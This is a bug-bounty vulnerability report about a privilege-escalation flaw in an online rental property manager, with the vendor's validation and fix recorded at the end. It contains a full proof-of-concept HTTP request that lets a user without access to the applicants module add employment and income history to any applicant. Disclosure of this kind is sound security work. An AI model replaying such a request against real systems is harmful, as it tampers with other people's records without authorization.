Execution with Unnecessary Privileges in bigprof-software/online-rental-property-manager

Valid

Reported on

Jul 3rd 2021


💥 BUG

privilege escalation bug to add employment_and_income_history to a applicant .

💥 IMPACT

unprivileged user can add employment_and_income_history to a applicant

💥 STEP TO REPRODUCE

1. From admin account goto http://localhost/online-rental/app/admin/pageViewMembers.php and add new user called user-B .
Now revoke all acccess from Applicants and tenants module for user-B .
So, user-B cant view/edit/create/delete any applicant.
2. Now goto admin account and add a new applicant .Lets asume the applicant id is 1\

3. Now goto user-B account and sent bellow request to add employment_and_income_history to above applicant.\

POST /online-rental/app/employment_and_income_history_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1084409874183406172614831258
Content-Length: 3125
Origin: http://localhost
Connection: close
Referer: http://localhost/online-rental/app/employment_and_income_history_view.php?filterer_tenant=1&addNew_x=1&Embedded=1
Cookie: rental_property_manager=8qh2ouu3163e1bjr6f25i45c51; rental_property_manager_remember_me=admin%3B%3BgmQZpneqoh4A3C3H96ppYYrCSVqNqM%3B%3B6F5D9e1ZnoLmFtzl6hGNsDF4ABwrwt;
Upgrade-Insecure-Requests: 1
Account: test2

-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="Embedded"

1
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="csrf_token"

a21d69a86030e40629ee0be7c5920f08
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="filterer_tenant"

1
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="current_view"

DV
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="SortField"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="SelectedID"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="SelectedField"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="SortDirection"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="FirstRecord"

1
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="NoDV"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="PrintDV"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="DisplayRecords"

all
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="tenant"

1
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employer_name"

by_user
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="city"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employer_phone"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_fromMonth"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_fromDay"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_fromYear"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_tillMonth"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_tillDay"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="employed_tillYear"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="occupation"


-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="notes"

by_user<br>
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="insert_x"

1
-----------------------------1084409874183406172614831258
Content-Disposition: form-data; name="SearchString"


-----------------------------1084409874183406172614831258--

Here in this request change applicant id value to above applicant id and a new employment_and_income_history will be added to above applicant .
So, user-B dont have any access in applicant module but can add employment_and_income_history to any applicant .

We have contacted a member of the bigprof-software/online-rental-property-manager team and are waiting to hear back 2 years ago
BigProf Software validated this vulnerability 2 years ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
BigProf Software marked this as fixed with commit 2c18e3 2 years ago
BigProf Software has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation